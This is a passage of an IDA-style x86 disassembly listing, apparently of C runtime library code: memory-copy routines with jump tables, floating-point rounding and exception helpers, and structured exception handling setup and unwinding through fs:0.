loc_41CA14 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA58: ; CODE XREF: sub_41C950+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41CA68: ; CODE XREF: sub_41C950+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C950 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CA73 proc near ; CODE XREF: ___:0040B055p ; sub_40C29A+40p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41B960 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420445 add esp, 10h leave retn sub_41CA73 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAB0 proc near ; CODE XREF: sub_40B12F+62p ; sub_40B12F+6Fp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41CAD0 cmp edi, eax jb loc_41CC48 loc_41CAD0: ; CODE XREF: sub_41CAB0+16j test edi, 3 jnz short loc_41CAEC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- loc_41CAEC: ; CODE XREF: sub_41CAB0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41CB04 and eax, 3 add ecx, eax jmp dword ptr loc_41CB0C+4[eax*4] ; --------------------------------------------------------------------------- loc_41CB04: ; CODE XREF: sub_41CAB0+46j jmp dword ptr loc_41CC08[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB0C: ; CODE XREF: sub_41CAB0+31j ; sub_41CAB0+8Ej ... jmp off_41CB8C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CB20 dd offset loc_41CB4C dd offset loc_41CB70 ; --------------------------------------------------------------------------- loc_41CB20: ; DATA XREF: sub_41CAB0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41CB4C: ; DATA XREF: sub_41CAB0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CB70: ; DATA XREF: sub_41CAB0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41CB0C rep movsd jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CB8C dd offset loc_41CBEF ; DATA XREF: sub_41CAB0:loc_41CB0Cr dd offset loc_41CBDC dd offset loc_41CBD4 dd offset loc_41CBCC dd offset loc_41CBC4 dd offset loc_41CBBC dd offset loc_41CBB4 dd offset loc_41CBAC ; --------------------------------------------------------------------------- loc_41CBAC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41CBB4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41CBBC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41CBC4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41CBCC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41CBD4: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41CBDC: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CBEF: ; CODE XREF: sub_41CAB0:loc_41CB0Cj ; DATA XREF: sub_41CAB0:off_41CB8Co jmp off_41CBF8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41CBF8 dd offset loc_41CC08 ; DATA XREF: sub_41CAB0+35r ; sub_41CAB0+92r ... dd offset loc_41CC10 dd offset loc_41CC1C dd offset loc_41CC30 ; --------------------------------------------------------------------------- loc_41CC08: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CC10: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CC1C: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41CC30: ; CODE XREF: sub_41CAB0+35j ; sub_41CAB0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CC48: ; CODE XREF: sub_41CAB0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41CC7C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41CC70: ; CODE XREF: sub_41CAB0+1B1j ; sub_41CAB0+208j ... neg ecx jmp off_41CD40[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41CC7C: ; CODE XREF: sub_41CAB0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41CC94 and eax, 3 sub ecx, eax jmp dword ptr loc_41CC94+4[eax*4] ; --------------------------------------------------------------------------- loc_41CC94: ; CODE XREF: sub_41CAB0+1D6j ; DATA XREF: sub_41CAB0+1DDr jmp off_41CD90[ecx*4] ; --------------------------------------------------------------------------- align 4 test al, 0CCh inc ecx add al, cl int 3 ; Trap to Debugger inc ecx add al, dh int 3 ; Trap to Debugger inc ecx add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41CC70 std rep movsd cld jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41CD44 dd offset loc_41CD4C dd offset loc_41CD54 dd offset loc_41CD5C dd offset loc_41CD64 dd offset loc_41CD6C dd offset loc_41CD74 off_41CD40 dd offset loc_41CD87 ; DATA XREF: sub_41CAB0+1C2r ; --------------------------------------------------------------------------- loc_41CD44: ; DATA XREF: sub_41CAB0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41CD4C: ; DATA XREF: sub_41CAB0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_41CD54: ; DATA XREF: sub_41CAB0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41CD5C: ; DATA XREF: sub_41CAB0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_41CD64: ; DATA XREF: sub_41CAB0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41CD6C: ; DATA XREF: sub_41CAB0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_41CD74: ; DATA XREF: sub_41CAB0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41CD87: ; CODE XREF: sub_41CAB0+1C2j ; DATA XREF: sub_41CAB0:off_41CD40o jmp off_41CD90[edx*4] ; --------------------------------------------------------------------------- align 10h off_41CD90 dd offset loc_41CDA0 ; DATA XREF: sub_41CAB0+1B7r ; sub_41CAB0:loc_41CC94r ... dd offset loc_41CDA8 dd offset loc_41CDB8 dd offset loc_41CDCC ; --------------------------------------------------------------------------- loc_41CDA0: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDA8: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDB8: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41CDCC: ; CODE XREF: sub_41CAB0+1B7j ; sub_41CAB0:loc_41CC94j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41CAB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CDE5(double) sub_41CDE5 proc near ; CODE XREF: sub_40D2DB+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A640 call sub_42171E fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CE6B call sub_4215E6 pop ecx test eax, eax pop ecx jle short loc_41CE4E cmp eax, 2 jle short loc_41CE40 cmp eax, 3 jnz short loc_41CE4E fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420EF6 add esp, 10h jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE40: ; CODE XREF: sub_41CDE5+3Fj push esi push ebx call sub_42171E fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE4E: ; CODE XREF: sub_41CDE5+3Aj ; sub_41CDE5+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_41CEA8 ; --------------------------------------------------------------------------- loc_41CE6B: ; CODE XREF: sub_41CDE5+2Fj call sub_4215AB fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CE8E loc_41CE80: ; CODE XREF: sub_41CDE5+ACj push esi push ebx call sub_42171E fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CEB0 ; --------------------------------------------------------------------------- loc_41CE8E: ; CODE XREF: sub_41CDE5+99j test bl, 20h jnz short loc_41CE80 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_41CEA8: ; CODE XREF: sub_41CDE5+84j call sub_420F49 add esp, 1Ch loc_41CEB0: ; CODE XREF: sub_41CDE5+59j ; sub_41CDE5+67j ... pop esi pop ebx leave retn sub_41CDE5 endp ; =============== S U B R O U T I N E ======================================= sub_41CEB4 proc near ; CODE XREF: ___:0041BF0Dp ; sub_4217E7+21p ; DATA XREF: ... call sub_41CECC call sub_4217E7 mov dword_4D9768, eax call sub_421797 fnclex retn sub_41CEB4 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_41CECC proc near ; CODE XREF: sub_41CEB4p mov eax, offset sub_421BD5 mov off_43AC2C, offset sub_42186A mov off_43AC28, eax mov off_43AC30, offset sub_4218D0 mov off_43AC34, offset sub_421810 mov off_43AC38, offset sub_4218B8 mov off_43AC3C, eax retn sub_41CECC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF04 proc near ; CODE XREF: sub_40D2DB+1Bp ; sub_40D2DB+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_41CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41CF2B(double) sub_41CF2B proc near ; CODE XREF: sub_40D327+82p ; ___:0040E725p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A658 call sub_42171E fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41CFB1 call sub_4215E6 pop ecx test eax, eax pop ecx jle short loc_41CF94 cmp eax, 2 jle short loc_41CF86 cmp eax, 3 jnz short loc_41CF94 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_420EF6 add esp, 10h jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CF86: ; CODE XREF: sub_41CF2B+3Fj push esi push ebx call sub_42171E fld [ebp+arg_0] pop ecx pop ecx jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CF94: ; CODE XREF: sub_41CF2B+3Aj ; sub_41CF2B+44j fld [ebp+arg_0] fadd dbl_427710 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_41CFEE ; --------------------------------------------------------------------------- loc_41CFB1: ; CODE XREF: sub_41CF2B+2Fj call sub_4215AB fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_41CFD4 loc_41CFC6: ; CODE XREF: sub_41CF2B+ACj push esi push ebx call sub_42171E fld [ebp+var_8] pop ecx pop ecx jmp short loc_41CFF6 ; --------------------------------------------------------------------------- loc_41CFD4: ; CODE XREF: sub_41CF2B+99j test bl, 20h jnz short loc_41CFC6 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_41CFEE: ; CODE XREF: sub_41CF2B+84j call sub_420F49 add esp, 1Ch loc_41CFF6: ; CODE XREF: sub_41CF2B+59j ; sub_41CF2B+67j ... pop esi pop ebx leave retn sub_41CF2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CFFA proc near ; CODE XREF: ___:004220B7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_41CFFA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_41D02E proc near ; CODE XREF: sub_4221F7+199p ; sub_4223BB+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D02E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D035 proc near ; CODE XREF: sub_4221F7+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_41D035 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D03C proc near ; CODE XREF: sub_41D1EE+5Cp ; sub_422046:loc_422077p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_41D064 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_42663C sub_41D03C endp ; --------------------------------------------------------------------------- loc_41D064: ; DATA XREF: sub_41D03C+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_41D08B: ; CODE XREF: ___:00426D68j ; ___:00426D85j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_421C4B add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0C1 proc near ; CODE XREF: sub_4220C1+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_41D115 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_422450 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_41D0C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D115 proc near ; DATA XREF: sub_41D0C1+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421C4B add esp, 20h pop ebp retn sub_41D115 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D13A proc near ; CODE XREF: sub_421E8D+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41D1EE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_41D1C0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_4D97C0 pop ecx pop ecx and [ebp+var_34], 0 loc_41D1C0: ; DATA XREF: sub_41D13A+3Co cmp [ebp+var_4], 0 jz short loc_41D1DD mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41D1E6 ; --------------------------------------------------------------------------- loc_41D1DD: ; CODE XREF: sub_41D13A+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41D1E6: ; CODE XREF: sub_41D13A+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41D13A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1EE proc near ; DATA XREF: sub_41D13A+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_41D211 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41D25E ; --------------------------------------------------------------------------- loc_41D211: ; CODE XREF: sub_41D1EE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_421C4B add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41D24F push [ebp+arg_0] push [ebp+arg_4] call sub_41D03C ; --------------------------------------------------------------------------- loc_41D24F: ; CODE XREF: sub_41D1EE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41D25E: ; CODE XREF: sub_41D1EE+21j pop edi pop esi pop ebx pop ebp retn sub_41D1EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D263 proc near ; CODE XREF: sub_421CE6+C6p ; sub_421E8D+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41D2BA loc_41D281: ; CODE XREF: sub_41D263+52j cmp esi, 0FFFFFFFFh jnz short loc_41D28B call sub_4224F2 loc_41D28B: ; CODE XREF: sub_41D263+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_41D2A0 cmp ecx, [eax+8] jle short loc_41D2A5 loc_41D2A0: ; CODE XREF: sub_41D263+36j cmp esi, 0FFFFFFFFh jnz short loc_41D2B1 loc_41D2A5: ; CODE XREF: sub_41D263+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_41D2B1: ; CODE XREF: sub_41D263+40j cmp [ebp+arg_4], 0 jge short loc_41D281 mov eax, [ebp+var_4] loc_41D2BA: ; CODE XREF: sub_41D263+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41D2CE cmp esi, eax jbe short loc_41D2D3 loc_41D2CE: ; CODE XREF: sub_41D263+65j call sub_4224F2 loc_41D2D3: ; CODE XREF: sub_41D263+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_41D263 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_41D2E0 proc near ; CODE XREF: sub_4233C0+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_41D2F8 push [ebp+arg_0] call sub_42663C sub_41D2E0 endp ; =============== S U B R O U T I N E ======================================= sub_41D2F8 proc near ; DATA XREF: sub_41D2E0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41D2F8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D300 proc near ; DATA XREF: sub_41D322+Ao ; sub_41D38A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_41D321 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_41D321: ; CODE XREF: sub_41D300+10j retn sub_41D300 endp ; =============== S U B R O U T I N E ======================================= sub_41D322 proc near ; CODE XREF: sub_422167+Dp ; sub_4233C0+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_41D300 push large dword ptr fs:0 mov large fs:0, esp loc_41D33F: ; CODE XREF: sub_41D322:loc_41D37Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41D37C cmp esi, [esp+1Ch+arg_4] jz short loc_41D37C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41D37A push 101h mov eax, [ebx+esi*4+8] call sub_41D3B6 call dword ptr [ebx+esi*4+8] loc_41D37A: ; CODE XREF: sub_41D322+44j jmp short loc_41D33F ; --------------------------------------------------------------------------- loc_41D37C: ; CODE XREF: sub_41D322+2Aj ; sub_41D322+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41D322 endp ; =============== S U B R O U T I N E ======================================= sub_41D38A proc near ; CODE XREF: sub_422187+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_41D300 jnz short locret_41D3AC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41D3AC mov eax, 1 locret_41D3AC: ; CODE XREF: sub_41D38A+10j ; sub_41D38A+1Bj retn sub_41D38A endp ; =============== S U B R O U T I N E ======================================= sub_41D3AD proc near ; CODE XREF: sub_422450+1Ep ; sub_422450+40p push ebx push ecx mov ebx, offset dword_43A65C jmp short loc_41D3C0 sub_41D3AD endp ; =============== S U B R O U T I N E ======================================= sub_41D3B6 proc near ; CODE XREF: sub_41D322+4Fp ; sub_4233C0+78p push ebx push ecx mov ebx, offset dword_43A65C mov ecx, [ebp+8] loc_41D3C0: ; CODE XREF: sub_41D3AD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41D3B6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41D3D0 proc near ; CODE XREF: sub_40D327+5p ; sub_40D4C9+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_41D3D0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41D3EF proc near ; CODE XREF: 